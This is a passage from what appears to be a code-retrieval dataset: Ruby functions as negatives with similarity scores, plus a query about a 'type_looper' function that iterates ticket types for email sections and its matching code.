|room_assignments|\n puts room_assignments\nend\nend", "def sections(layout, parent_section = nil, first_object: false, object_index: nil)\n layout_print = send(layout)\n\n section_list = []\n\n # loop around each section rendering it in turn\n layout_print.each_with_index do |section, i|\n next if section.nil?\n\n Rails.logger.debug { \"Section #{section[:code]} Type #{section[:type]} Object Index: #{object_index}\" }\n next if skip_section(section, parent_section, object_index: object_index)\n\n section_list += process_section(layout, section, parent_section,\n (first_object && i.zero?), object_index: object_index)\n end\n section_list # return the section list\n end", "def go_through_all_the_lines(worksheet_key)\n\n\tdata = []\n\tworksheet = get_worksheet(worksheet_key)\n\n\t# create an array called data in order to store all the emails\n\nworksheet.rows.each do |row|\n\n\t# for each of line of the row we add it into the \"data array\"\n\n\t data << row[1].gsub(/[[:space:]]/, '')\n end \n \n return data\nend", "def get_all_email\r\n\turl_array = get_townhall_urls #définir une array équivalente au résultat de la méthode qui a permis de créer l'array\r\n\turl_array.each do |townhall_url| \r\n\t\tget_townhall_email(townhall_url) # pour chaque URL d'une ville du Val d'Oise, on associe l'adresse mail de la mairie via la méthode get_townhall_email\r\n\tend\r\nend", "def generate_error_email_body(email_type: :user)\n case email_type\n when :user\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n when :dev\n # only read first megabyte of error log to avoid email delivery failure\n error_contents = read_parse_logfile(dev_error_filepath, delete_on_read: false, range: 0..1.megabyte)\n message_body = \"<p>The file '#{study_file.upload_file_name}' uploaded by #{user.email} to #{study.accession} failed to ingest.</p>\"\n message_body += \"<p>A copy of this file can be found at #{generate_bucket_browser_tag}</p>\"\n message_body += \"<p>Detailed logs and PAPI events as follows:\"\n else\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n end\n\n if error_contents.present?\n message_body += \"<h3>Errors</h3>\"\n error_contents.each_line do |line|\n message_body += \"#{line}<br />\"\n end\n end\n\n if !error_contents.present? || email_type == :dev\n message_body += \"<h3>Event Messages</h3>\"\n message_body += \"<ul>\"\n event_messages.each do |e|\n message_body += \"<li><pre>#{ERB::Util.html_escape(e)}</pre></li>\"\n end\n message_body += \"</ul>\"\n end\n\n if study_file.file_type == 'Metadata'\n faq_link = \"https://singlecell.zendesk.com/hc/en-us/articles/360060610092-Metadata-Validation-Errors-FAQ\"\n message_body += \"<h3>Common Errors for Metadata Files</h3>\"\n message_body += \"<p>You can view a list of common metadata validation errors and solutions in our documentation: \"\n message_body += \"<a href='#{faq_link}'>#{faq_link}</a></p>\"\n end\n\n message_body += \"<h3>Job Details</h3>\"\n message_body += \"<p>Study Accession: <strong>#{study.accession}</strong></p>\"\n message_body += \"<p>Study File ID: <strong>#{study_file.id}</strong></p>\"\n message_body += \"<p>Ingest Run ID: <strong>#{pipeline_name}</strong></p>\"\n message_body += \"<p>Command Line: <strong>#{command_line}</strong></p>\"\n ingest_image_attributes = AdminConfiguration.get_ingest_docker_image_attributes\n message_body += \"<p>Ingest Pipeline Docker image version: <strong>#{ingest_image_attributes[:tag]}</strong></p>\"\n message_body\n end", "def add_language_sections_to_article(l, a)\n l.each do |language|\n sec_title = \"#{a.article_title} for (#{language})\"\n sec_body = \"Section text body for the #{language} language....\"\n # Check for not adding a duplicate\n if Section.find_by(article_id: a.id, section_title: sec_title, section_body: sec_body).nil?\n a.sections.create({\n :section_title => sec_title, \n :section_body => sec_body})\n end\n end \n # binding.pry\n end", "def show_body\n I18n.with_locale @email_locale do\n @mail_body = mail_body(@preview, @part_type)\n render :show_body, layout: 'rails_email_preview/email'\n end\n end", "def parts_observer\n puts \"INI\"\n puts \"content_type: #{content_type}\"\n puts \"body: #{body}\"\n puts \"parts.size: #{parts.size}\"\n \n if multipart?\n parts.each_with_index do |part, index|\n puts \"\"\n puts \" parts[#{index}]\"\n puts \" content_type: #{part.content_type}\"\n puts \" multipart? #{part.multipart?}\"\n \n header = part[\"content-type\"]\n\n if part.multipart?\n puts \" --multipartt--\"\n part.parts.each_with_index do |part2, index2|\n puts \" part[#{index}][#{index2}]\"\n puts \" content_type: #{part2.content_type}\"\n puts \" body: #{part2.unquoted_body}\"\n end\n elsif header.nil?\n puts \" --header nil--\"\n elsif !attachment?(part)\n puts \" --no multipart, no header nil, no attachment--\"\n puts \" content_type: #{part.content_type}\"\n puts \" body: #{part.unquoted_body}\"\n else\n puts \" --no multipart, no header nil, attachment--\"\n puts \" content_type: #{part.content_type}\"\n end\n \n end\n else\n puts \" --no multipart--\"\n puts \" content_type: #{content_type}\"\n puts \" body: #{unquoted_body}\"\n end\n \n puts \"END\"\n end", "def go\nputs \" Scrapping en cours, veuillez patienter...\"\n\turl_array = get_urls \n\turl_array.each do |get_url| #link chaque ville à son url\n get_email(get_url) #recherche l'adresse mail par rapport à l'adresse de la ville\nend\nend", "def section_by_id(section_id); end", "def process_medications (section_name, doc)\n meds = doc.xpath(@sections[section_name])\n if(meds.size == 0)\n return\n end\n @ccr_hash[section_name] = []\n meds.each do | med | \n entry = QME::Importer::Entry.new\n products = med.xpath(\"./ccr:Product\")\n products.each do | product |\n productName = product.xpath(\"./ccr:ProductName\")\n brandName = product.xpath(\"./ccr:BrandName\")\n productNameText = productName.at_xpath(\"./ccr:Text\")\n brandNameText = brandName.at_xpath(\"./ccr:Text\") \n entry.description = productNameText.content\n process_product_codes(productName, entry) # we throw any codes found within the productName and brandName into the same entry\n process_product_codes(brandName, entry)\n end\n @ccr_hash[section_name] << entry\n end\n end", "def read_block(data_rows, index, rows, heading=nil)\n #get the sub-heading name\n if heading == nil\n heading = Util.clean_ws( data_rows[index].at(\"td span\").to_plain_text() )\n #puts \"Heading: #{heading}\" \n end\n \n #puts heading\n rows.times { |i|\n #puts i\n cell_row = index+i+1\n #puts cell_row\n cells = data_rows[ cell_row ].search(\"td\")\n #get the field name\n field_name = Util.clean_ws( cells[0].to_plain_text() )\n if field_name != nil && field_name != \"?\"\n\n #puts field_name\n start = mission_start()\n \n for cell in cells[1..cells.length]\n #mission name \n name = \"Apollo #{start}\"\n #puts name\n #puts field_name\n mission = @missions[name] \n fields = mission[heading]\n if fields == nil\n fields = mission[heading] = Hash.new\n end\n \n fields[field_name] = Util.clean_ws( cell.to_plain_text() ) unless cell.to_plain_text() == \"---\" \n mission[heading] = fields\n start = start + 1\n end \n\n else\n $stderr.puts( \"Skipping row #{cell_row}\" ) \n end\n \n }\n \n end", "def process_mail(mail, config)\n end", "def execute\n @imap = Net::IMAP.new(@imap_setting[:server], @imap_setting[:port])\n @imap.login(@imap_setting[:user], @imap_setting[:password])\n @imap.select(@imap_setting[:folder])\n \n #process all mail read email with test in subject for testing purpose. In reality it will process all emails\n query = imap_setting[:mode] == \"prod\" ? ['NOT', 'SEEN'] : ['SUBJECT', 'test']\n @imap.uid_search(query).each do |uid|\n catch(:continue) do\n mail = TMail::Mail.parse( imap.uid_fetch(uid, 'RFC822').first.attr['RFC822'] )\n from = mail.from\n to = mail.to\n bcc = mail.bcc\n cc = mail.cc\n subject = mail.subject\n msgid = mail.message_id \n date = mail.date\n ref_msgid = [mail.in_reply_to, mail.references].flatten.compact.join(\" \") \n \n #normalize all email addresses\n from.map! {|address| normalize_address(address) }\n to.map! {|address| normalize_address(address) }\n cc.map! {|address| normalize_address(address) } unless cc.is_nil?\n bcc.map! {|address| normalize_address(address) } unless bcc.is_nil?\n\n #find matching user\n user = nil\n user_email = from.find do |f|\n user = User.find_by_email(f.downcase)\n end\n \n if user\n logger.info \"processing email for #{user.username}\"\n if bcc.include?(@imap_setting[:email])\n #if from as user or asignee to as contact and we are in bcc it's outbound\n contacts = to.map do |t|\n #find contact by user or assigned to\n contact = Contact.find_by_email_and_user(t, user)\n if contact.nil?\n contact = Contact.find_by_email_and_assignee(t, user)\n end\n \n if contact.nil?\n #create contact, user is emailing a contact that's not in FFC\n logger.info \"new contact #{t}\"\n contact = Contact.new\n contact.user = user\n contact.email = t\n unless contact.save \n logger.warn \"could not save contact #{t}\"\n contact = nil\n end\n end\n contact\n end\n contacts.compact!\n \n #save mail\n from_list = from.join(\" \")\n to_list = to.join(\" \")\n cc_list = cc.join(\" \")\n bcc_list = bcc.join(\" \")\n body = mail.quoted_body\n save_email(from_list, to_list, subject, cc_list, bcc_list, body, msgid, ref_msgid, date, user, contacts)\n else\n #TODO if fowarded msg has from as user and to as contact it's inbound\n \n end\n \n else\n #unknown sender,this email is not supposed to be in drop box\n logger.warn \"mail from unknown user from: #{from} to: #{to} subject: #{subject}\"\n handle_processed_mail(uid) if @imap_setting[:mode] == \"prod\"\n end\n \n end\n \n end\n @imap.logout\n @imap.disconnect\n \n rescue Net::IMAP::NoResponseError => e\n logger.error \"IMAP server error\"\n rescue Net::IMAP::ByeResponseError => e\n logger.error \"IMAP server error\"\n rescue => e\n logger.error \"IMAP server error\"\n \n end", "def call(tag, body, context)\n \n if param('fuse.pygmentize.eval_tags')\n body = website.blackboard.invoke(:content_processor, 'tags').call(context.clone(:content => body)).content\n end\n \n # figure out the indent level of the tag\n lines = body.split(/\\r?\\n/);\n last_line = lines.last\n tag_indent = \"\"\n if( last_line.match(/^[ \\t]+$/) ) \n tag_indent = last_line\n end\n \n # Strip off the tag_indent... and figure out the sections...\n state = 0\n\n for i in (0 .. (lines.size-1) )\n if( tag_indent.size > 0 ) \n lines[i] = lines[i].sub(/^[ \\t]{#{tag_indent.size}}/, \"\")\n end\n if state==0 \n if (!lines[i].strip.empty?) \n if( lines[i].match(/\\s*------+\\s*/) ) \n state=1\n else\n raise Exception, \"expecting 1st seperator: ------\"\n end\n end\n \n elsif state==1 \n m = lines[i].match(/\\s*([^:\\s]+)\\s*:\\s*(.+)/)\n raise Exception, \"left heading section expected.\" unless m\n leftlang = m[1]\n leftheading = m[2]\n leftcode =\"\"\n state=2\n\n elsif state==2\n if( lines[i].match(/\\s*------+\\s*/) ) \n state=3\n else\n raise Exception, \"expecting 2nd seperator: ------\"\n end\n \n elsif state==3\n if( lines[i].match(/\\s*------+\\s*/) ) \n state=4\n else\n leftcode += lines[i]+\"\\n\"\n end\n \n elsif state==4\n m = lines[i].match(/\\s*([^:\\s]+)\\s*:\\s*(.+)/)\n raise Exception, \"right heading section expected.\" unless m\n rightlang = m[1]\n rightheading = m[2]\n rightcode = \"\"\n state=5\n\n elsif state==5 \n if( lines[i].match(/\\s*------+\\s*/) ) \n state=6\n else\n raise Exception, \"expecting 4th seperator: ------\"\n end\n \n elsif state==6\n rightcode += lines[i]+\"\\n\"\n end\n end\n \n raise Exception, \"did not get all the sections: state: #{state}\" unless state==6\n \n # Execute the pygmentize tool\n lines = param('fuse.pygmentize_and_compare.lines') ? \",linenos=1\" : \"\"\n \n leftresult = pygmentize(leftlang, lines, leftcode)\n rightresult = pygmentize(rightlang, lines, rightcode)\n \n # Format the result\n result = \"#{tag_indent}<div class=\\\"compare\\\"><div class=\\\"compare-left\\\"><h3>#{leftheading}</h3><div class=\\\"syntax\\\">#{leftresult}</div></div><div class=\\\"compare-right\\\"><h3>#{rightheading}</h3><div class=\\\"syntax\\\">#{rightresult}</div></div><br class=\\\"clear\\\"/></div>\\n\"\n \n rescue Exception => e\n raise RuntimeError, \"Error processing the pygmentize_and_compare tag <#{context.ref_node.absolute_lcn}>: #{e.message}\\n#{e.backtrace.join(\"\\n\")}\"\n end" ]
[ "0.6385215", "0.57354605", "0.57348484", "0.529475", "0.52321064", "0.52304584", "0.50928223", "0.5091631", "0.50468063", "0.5020342", "0.49834192", "0.49819717", "0.49706936", "0.49700984", "0.4970024", "0.49690086", "0.49573338", "0.4954731", "0.49545157", "0.49358028", "0.49340641", "0.4920242", "0.49156642", "0.4885869", "0.48854432", "0.48816344", "0.48731175", "0.4869942", "0.48691472", "0.48603764", "0.4859971", "0.48529127", "0.48444253", "0.48438364", "0.4839229", "0.48346996", "0.48252288", "0.48082405", "0.4800027", "0.4793087", "0.47929886", "0.47922134", "0.4789547", "0.47821134", "0.4779655", "0.47781155", "0.47762752", "0.47741294", "0.47706226", "0.47702003", "0.47679612", "0.47633675", "0.4759095", "0.474101", "0.47261125", "0.47253463", "0.4725019", "0.47176656", "0.47132578", "0.4708974", "0.46891198", "0.46766323", "0.46724567", "0.4670299", "0.4669449", "0.46666867", "0.46650833", "0.46647915", "0.46578157", "0.46567154", "0.46561027", "0.46538508", "0.46473545", "0.4647029", "0.46365726", "0.46241188", "0.46231195", "0.46207303", "0.4618141", "0.4615224", "0.46085128", "0.46051666", "0.46008116", "0.45996165", "0.45919335", "0.4582495", "0.45794222", "0.45763388", "0.45704696", "0.45702064", "0.45667404", "0.455888", "0.4551219", "0.45464376", "0.45424965", "0.45316812", "0.45292723", "0.45288453", "0.4525481", "0.45231226" ]
0.83576405
0
FUNCTION: type_looper PURPOSE: Itearate the process on all type of tickets PARAMETERS: email_body: Get content of the email to generate section: Current section to iterate on RETURNS: /
def type_looper(email_body, section) type = [:new_features, :improvements, :tasks, :bugs] type.each do |cType| tickets_looper(email_body, section, email_body[section][cType][:type], email_body[section][:file], email_body[section][:statuses], email_body[section][cType][:tickets], email_body[section][cType]) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def section_looper(email_body)\n section = [:first_section, :second_section, :third_section]\n\n section.each do |section|\n type_looper(email_body, section)\n end\nend", "def tickets_looper(email_body, section, type, file, statuses, tickets, ticket_details)\n i = 0\n\n File.open(file).readlines.each do |cLine|\n # Check if the file has been added\n if cLine.include?(type) && statuses.inject(false) { |memo, status| cLine.downcase.include?(status.downcase) || memo }\n unless $tickets_list.include?(cLine.split(\"\\t\")[1]) || $tickets_list.include?(cLine.split(\"\\t\")[1] + \" <span style='color: #FF6A77'>⇨ \" + cLine.split(\"\\t\")[4] + \"</span>\")\n if cLine.split(\"\\t\")[4].downcase == \"done\"\n tickets << cLine.split(\"\\t\")[1]\n else\n tickets << cLine.split(\"\\t\")[1] + \" <span style='color: #FF6A77'>⇨ \" + cLine.split(\"\\t\")[4] + \"</span>\"\n end\n\n i = i + 1\n end\n end\n end\n\n if i > 0\n $tickets_list = tickets + ($tickets_list - tickets)\n ticket_details[:nb_tickets] = i\n end\nend", "def each_message(uids, type) # :yields: TMail::Mail\n parts = mime_parts uids, type\n\n uids = []\n\n each_part parts, true do |uid, message|\n mail = TMail::Mail.parse message\n\n begin\n success = yield uid, mail\n\n uids << uid if success\n rescue => e\n log e.message\n puts \"\\t#{e.backtrace.join \"\\n\\t\"}\" unless $DEBUG # backtrace at bottom\n log \"Subject: #{mail.subject}\"\n log \"Message-Id: #{mail.message_id}\"\n p mail.body if verbose?\n\n raise if $DEBUG\n end\n end\n\n uids\n end", "def send_lotd(event, type = Level)\n # Parse params\n type = Level if ![Level, Episode, Story].include?(type)\n ctp = !!event.content[/ctp/i]\n period = type == Level ? 'day' : (type == Episode ? 'week' : 'month')\n\n # Fetch lotd and time\n curr_h = GlobalProperty.get_current(type, ctp)\n next_h = GlobalProperty.get_next_update(type, ctp) - Time.now\n\n # Compute times\n if type == Level\n time1 = \"#{(next_h / (60 * 60)).to_i} hours\"\n time2 = \"#{(next_h / 60).to_i - (next_h / (60 * 60)).to_i * 60} minutes\"\n else\n time1 = \"#{(next_h / (24 * 60 * 60)).to_i} days\"\n time2 = \"#{(next_h / (60 * 60)).to_i - (next_h / (24 * 60 * 60)).to_i * 24} hours\"\n end\n \n # Send messages\n if !curr_h.nil?\n event << \"The current #{ctp ? 'CTP ' : ''}#{type.to_s.downcase} of the #{period} is #{curr_h.format_name}.\"\n event.attach_file(send_screenshot(event, curr_h, true)[0])\n else\n event << \"There is no current #{ctp ? 'CTP ' : ''}#{type.to_s.downcase} of the #{period}.\"\n end\n event << \"I'll post a new #{ctp ? 'CTP ' : ''}#{type.to_s.downcase} of the #{period} in #{time1} and #{time2}.\"\nrescue => e\n lex(e, \"Error sending lotd/eotw/cotm info.\", event: event)\nend", "def check_subject_and_body(email)\n winning_category = nil\n temp_points = 0 #The score for the current category\n points = 0 # The highest score achived\n\n subject_words = SeperateWords.new.seperate(email.subject)\n body_words = SeperateWords.new.seperate(email.body)\n\n @all_categories.each do |cat|\n #Checks each word in subject and body against keywords in categories\n temp_points += check_words(cat.key_words, subject_words, true)\n\n #BODY\n temp_points += check_words(cat.key_words, body_words)\n\n if temp_points > points\n\n points = temp_points\n winning_category = cat\n end\n\n temp_points = 0\n end\n #This way removes unesseccary transactions\n unless winning_category.blank?\n attach_category_to_email(email,winning_category)\n else\n #This asumes there's a category called \"Uncategorized\"\n #uncategorized = Category.find_by_name(\"Uncategorized\")\n #using scopes: not working for some reason\n #uncategorized = Category.uncategorized\n\n #attach_category_to_email(email,uncategorized)\n end\n\n end", "def show\n if params[:email_thread]\n @email_thread = EmailThread.find(params[:email_thread])\n elsif session[:id]\n @summary = Summary.find(session[:id])\n @email_thread = @summary.email_thread\n else\n flash[:notice] = \"You are logged out.\"\n redirect_to(:controller => '/account', :action => 'login')\n return\n end\n @emails = []\n email_count = 0\n for email in @email_thread.myemails\n email_count+=1\n s = email.Body\n #Keep track of tag beginning and ending\n open = false\n count = 1\n while s.include? \"^\"\n if !open\n case params[:control]\n when 'read' , 'sum' , 'show'\n s[s.index(\"^\"),1] = sent(email_count, count)\n when 'label'\n s[s.index(\"^\"),1] = label(email_count, count)\n end\n open = true\n count += 1\n else\n s[s.index(\"^\"),1] = '</div></div>'\n open = false\n end\n end\n s.gsub! \"/-\\\\\", \"^\"\n @emails << email\n end\n #Render correct action\n case params[:control]\n when 'read'\n render :action => 'read'\n when 'sum'\n render :action => 'sum'\n when 'label'\n render :action => 'label'\n when 'show'\n render :action => 'show'\n end\n end", "def email_creation(hash_to_manipulate,msg)\n retirement_site=[]\n others_site=[]\n sorted_hash = hash_to_manipulate.sort_by{ |instance, details| details[:not_before] }\n sorted_hash.each do |instance, details|\n if details[:code] == \"instance-retirement\"\n retirement_site << \"<tr><td>#{details[:name]}</td><td>#{instance}</td><td>#{details[:code]}</td><td>#{details[:not_before]}</td><td>#{details[:region]}</td><td>#{details[:site]}</td></tr>\"\n else\n unless details[:description] =~ /\\[Completed\\]|\\[Canceled\\]/\n others_site << \"<tr><td>#{details[:name]}</td><td>#{instance}</td><td>#{details[:code]}</td><td>#{details[:not_before]}</td><td>#{details[:region]}</td><td>#{details[:site]}</td></tr>\"\n end\n end\n end\n # This is so people know the system is working, but that nothing happened today\n if retirement_site.empty? and others_site.empty?\n msg << \"<html>\"\n msg << \"<body>\"\n msg << \"<h3>No events today! Have a nice day! :)</h3>\"\n msg << \"</body>\"\n msg << \"</html>\"\n end\n unless retirement_site.empty? and others_site.empty? \n msg << \"<html>\"\n msg << \"<body>\"\n unless retirement_site.empty?\n msg << \"<h3>Instances that are being terminated!</h3>\"\n msg << \"<table border=\\\"1\\\" cellpadding=\\\"5\\\">\"\n msg << \"<tr><th>Instance Name</th><th>Instance ID</th><th>Event</th><th>Earliest Date of Event</th><th>Region</th><th>Site</th></tr>\"\n msg << \"#{retirement_site.join(\"\\n\")}\"\n msg << \"</table>\"\n msg << \"<p><p>\"\n end\n unless others_site.empty?\n msg << \"<h3>Instances with non-terminal events.</h3>\"\n msg << \"<table border=\\\"1\\\" cellpadding=\\\"5\\\">\"\n msg << \"<tr><th>Instance Name</th><th>Instance ID</th><th>Event</th><th>Earliest Date of Event</th><th>Region</th><th>Site</th></tr>\"\n msg << \"#{others_site.join(\"\\n\")}\"\n msg << \"</table>\"\n end\n msg << \"</body>\"\n msg << \"</html>\"\n end\nend", "def create_bell_schedule_work_order(type)\n @world[type].each do |school|\n if !school[\"offerings\"].nil? and school[\"offerings\"].size > 0\n school[\"offerings\"].each do |year, course_offerings|\n course_offerings.each do |course_offering|\n id = course_offering[\"id\"]\n ed_org_id = course_offering[\"ed_org_id\"]\n session = course_offering[\"session\"]\n course = course_offering[\"course\"]\n grade = course_offering[\"grade\"]\n\n title = GradeLevelType.to_string(grade) + \" \" + course[\"title\"]\n title = GradeLevelType.to_string(grade) if GradeLevelType.is_elementary_school_grade(grade)\n\n @queue.push_work_order({:type=>BellSchedule, :id=>id, :session=>session})\n end\n end\n end\n end\n end", "def receive_inbound_email_from_mail(**kwargs, &block); end", "def generate_error_email_body(email_type: :user)\n case email_type\n when :user\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n when :dev\n # only read first megabyte of error log to avoid email delivery failure\n error_contents = read_parse_logfile(dev_error_filepath, delete_on_read: false, range: 0..1.megabyte)\n message_body = \"<p>The file '#{study_file.upload_file_name}' uploaded by #{user.email} to #{study.accession} failed to ingest.</p>\"\n message_body += \"<p>A copy of this file can be found at #{generate_bucket_browser_tag}</p>\"\n message_body += \"<p>Detailed logs and PAPI events as follows:\"\n else\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n end\n\n if error_contents.present?\n message_body += \"<h3>Errors</h3>\"\n error_contents.each_line do |line|\n message_body += \"#{line}<br />\"\n end\n end\n\n if !error_contents.present? || email_type == :dev\n message_body += \"<h3>Event Messages</h3>\"\n message_body += \"<ul>\"\n event_messages.each do |e|\n message_body += \"<li><pre>#{ERB::Util.html_escape(e)}</pre></li>\"\n end\n message_body += \"</ul>\"\n end\n\n if study_file.file_type == 'Metadata'\n faq_link = \"https://singlecell.zendesk.com/hc/en-us/articles/360060610092-Metadata-Validation-Errors-FAQ\"\n message_body += \"<h3>Common Errors for Metadata Files</h3>\"\n message_body += \"<p>You can view a list of common metadata validation errors and solutions in our documentation: \"\n message_body += \"<a href='#{faq_link}'>#{faq_link}</a></p>\"\n end\n\n message_body += \"<h3>Job Details</h3>\"\n message_body += \"<p>Study Accession: <strong>#{study.accession}</strong></p>\"\n message_body += \"<p>Study File ID: <strong>#{study_file.id}</strong></p>\"\n message_body += \"<p>Ingest Run ID: <strong>#{pipeline_name}</strong></p>\"\n message_body += \"<p>Command Line: <strong>#{command_line}</strong></p>\"\n ingest_image_attributes = AdminConfiguration.get_ingest_docker_image_attributes\n message_body += \"<p>Ingest Pipeline Docker image version: <strong>#{ingest_image_attributes[:tag]}</strong></p>\"\n message_body\n end", "def email(body)\n message = <<EOM\nFrom: #{FROM}\nTo: #{TO}\nDate: #{NOW.rfc822}\nMessage-Id: #{SecureRandom.uuid}@redhat.com\nSubject: Unassigned upcoming maintenances\n\nRegion Leads - please arrange coverage for these maintenances immediately:\n\n#{body}\n\n---\nThis message has been sent by the Unassigned Maintenance Broadcast System.\nThis utility runs in the #{NAMESPACE} namespace on #{CLUSTER}.\nThe source code for this utility can be found at #{REPO}.\nEOM\n\n Net::SMTP.start('smtp.corp.redhat.com', 25, FROM) do |smtp|\n smtp.send_message message, FROM, TO\n end\nend", "def tell(message, msgtype)\n lines = send_message(\"TELL\", message, 'Message-class' => msgtype)\n end", "def mail_box; end", "def email_status\n texts = []\n\n begin\n author = Mail::Address.new(params[:author].gsub(\"\\n\",''))\n recipients = Mail::AddressList.new(params[:recipients].gsub(\"\\n\",'')).addresses\n emails = [author, recipients].flatten.find_all { |addr| addr.domain && (addr.domain != 'mountainofpromos.com') }\n rescue Mail::Field::ParseError\n emails = []\n texts << \"Address Parse Error\"\n end\n\n subject = params[:subject]\n uri = nil\n\n emails.find do |addr|\n @supplier = Supplier.find(:first, :conditions => [\"lower(po_email) ~ ?\", addr.domain.downcase], :order => 'parent_id DESC')\n end\n if @supplier or emails.empty?\n texts << @supplier.name if @supplier\n if /(Q\\d{4})/i === subject and\n po = PurchaseOrder.find_by_quickbooks_ref($1)\n @order = po.purchase.order\n @supplier = po.purchase.supplier\n texts << \"Order #{@order.id}\"\n uri = { :controller => '/admin/orders', :action => :items, :id => @order }\n end\n end\n \n unless @supplier\n if /\\(#(\\d{4,5})\\)/ === subject and\n @order = Order.find_by_id($1)\n texts << \"ORDER DOESN'T MATCH CUSTOMER EMAIL\" unless emails.empty? or emails.find { |a| @order.customer.email_addresses.to_a.find { |b| b.address.downcase.include?(a.address.downcase) } }\n texts << (@order.user_id ? @order.user.name : \"UNASSIGNED\")\n texts << \"Order #{@order.id}\"\n uri = { :controller => '/admin/orders', :action => :items, :id => @order, :own => true } if @order.user_id.nil?\n else\n customers = emails.collect do |addr|\n Customer.find(:all, :include => :email_addresses, :conditions => [\"lower(email_addresses.address) ~ ?\", addr.address.downcase], :order => 'customers.id DESC')\n end.flatten\n\n unless customers.empty?\n texts << \"MULTIPLE CUSTOMERS\" if customers.length > 1\n orders = customers.collect do |customer|\n ret = customer.orders.find(:all, :conditions => { :closed => false }, :order => 'id')\n ret.empty? ? customer.orders : ret\n end.flatten\n orders.collect { |o| o.user }.uniq.each do |user|\n texts << (user ? user.name : \"UNASSIGNED\")\n end\n @order = orders.last\n else\n if !emails.empty? && recipients.find { |r| r.address == MAIN_EMAIL }\n texts << \"NEW CUSTOMER\"\n /M(\\d{4,5})/ === subject\n uri = { :controller => '/admin/orders', :action => :create_email, :email => author.address || '', :name => author.name, :subject => subject}\n else\n texts << \"UNKNOWN\"\n end\n end\n end\n end\n \n\n if @order\n texts << @order.customer.company_name unless @order.customer.company_name.blank?\n texts << @order.customer.person_name\n uri = { :controller => '/orders', :action => :status, :id => @order } unless uri\n end\n\n render :json => { :text => texts.join(' - '), :uri => uri && url_for(uri.merge({ :protocol => (Rails.env.production? ? 'https://' : 'http://') })) }\n end", "def send_gmail_to_listing(worksheet_key)\n\n\n# first we connect to gmail with the $gmail variable (where our logs are stored)\n\t$gmail\n\t\n#we go through each email adresse \n\t\t\t\t# send we send (deliver) an email with subject + body\n\n\tgo_through_all_the_lines(worksheet_key).each do |email|\n\t\t$gmail.deliver do\n to email\n subject \"The Hacking Project\" # write your subject here\n \ttext_part do \n \t\tbody \"je suis élève à une formation de code gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau. La formation s'appelle The Hacking Project (http://thehackingproject.org/). Nous apprenons l'informatique via la méthode du peer-learning : nous faisons des projets concrets qui nous sont assignés tous les jours, sur lesquel nous planchons en petites équipes autonomes. Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.\n\nNous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à {townhall_name}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées. Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec {townhall_name} !\n\nCharles, co-fondateur de The Hacking Project pourra répondre à toutes vos questions : 06.95.46.60.80 \" #write your message here\n\t\t\tcontent_type 'text/plain; charset=UTF-8'\n \tend\n end\n\n\n end\n\nend", "def sendMail(body)\n options = { :address => $advanced['mail']['address'],\n :port => $port,\n :domain => ENV['HOSTNAME'],\n :user_name => $advanced['mail']['username'],\n :password => $advanced['mail']['password'],\n :authentication => nil,\n :enable_starttls_auto => true }\n Mail.defaults do\n delivery_method :smtp, options\n end\n\n users = Array.new\n\n # Logic for pulling the email accounts from Plex.tv and/or the\n\t# config file\n\tplexTv = PlexTv.new($advanced)\n\n\tif !$testEmail\n \t if $plexEmails\n plex_users = plexTv.get('/pms/friends/all')\n\n if plex_users.nil? || plex_users.empty?\n $logger.info(\"No Plex friends found.\") \n else \n plex_users['MediaContainer']['User'].each do | user |\n\t\t\tif !user['email'].empty?\n users.push(user['email'])\n\t\t\tend\n end\n end\n\t end\n\t if !$advanced['mail']['recipients'].nil? || !$advanced['mail']['recipients_email'].nil?\n\t if !$advanced['mail']['recipients_email'].nil?\n\t $advanced['mail']['recipients_email'].each do | recipient |\n\t\t users.push(recipient)\n\t end\n\t end\n\t if !$advanced['mail']['recipients'].nil?\n\t\t $advanced['mail']['recipients'].each do | recipient |\n\t\t plex_users = plexTv.get('/pms/friends/all')\n plex_users['MediaContainer']['User'].each do | user |\n\t\t if user['username'] == recipient\n users.push(user['email'])\n\t\t\t end\n end\n\t\t end\n\t end\n\t end\n\tend\n\n #Get owner's email as well and add it to the list of recpients\n users.push(plexTv.get('/users/account')['user']['email'][0])\n \n\t#used to send individual email. Now it bcc's one email\n #users.each do | user |\n mail = Mail.new do\n from \"#{$advanced['mail']['from']} <#{$advanced['mail']['username']}>\"\n bcc users\n subject $advanced['mail']['subject'] + \" \" + (I18n.l Time.now.to_date)\n content_type 'text/html; charset=UTF-8'\n body body\n end\n begin\n mail.deliver!\n\t\t\trescue => e\n\t\t\t $logger.info(\"SMTP mailing failed!\\n#{e.message}#{e.backtrace}\")\n\t\t\tend\n #end\n end", "def email_parts_of_type(email, content_type = \"text/plain\")\n email.body.parts.select {|part|\n if part.respond_to?(:content_type)\n part.content_type.downcase.include? content_type\n end\n }\n end", "def body\n body = <<-eot\nECFS - Email Filing\n<PROCEEDING> #{DOCKET}\n<DATE> #{@comment[:date]}\n<NAME> #{@comment[:name]}\n<ADDRESS1> #{@comment[:street]}\n<ADDRESS2>\n<CITY> #{@comment[:city]}\n<STATE> #{@comment[:state]}\n<ZIP> #{@comment[:zip]}\n<LAW-FIRM>\n<ATTORNEY>\n<FILE-NUMBER>\n<DOCUMENT-TYPE> CO\n<PHONE-NUMBER>\n<DESCRIPTION> Brief Comment\n<CONTACT-EMAIL> #{contact_email}\n<TEXT> #{@comment[:date]}\n\nMs. Marlene H. Dortch, Secretary\nFederal Communications Commission\n445 12th Street SW\nWashington, DC 20554\n\nRe: A National Broadband Plan for Our Future, GN Docket No. 09-51\n\nDear Ms. Dortch,\n#{@comment[:text]}\n\n eot\n end", "def body\n render text: fetch_email(params[:id]).body, content_type: 'text/html'\n 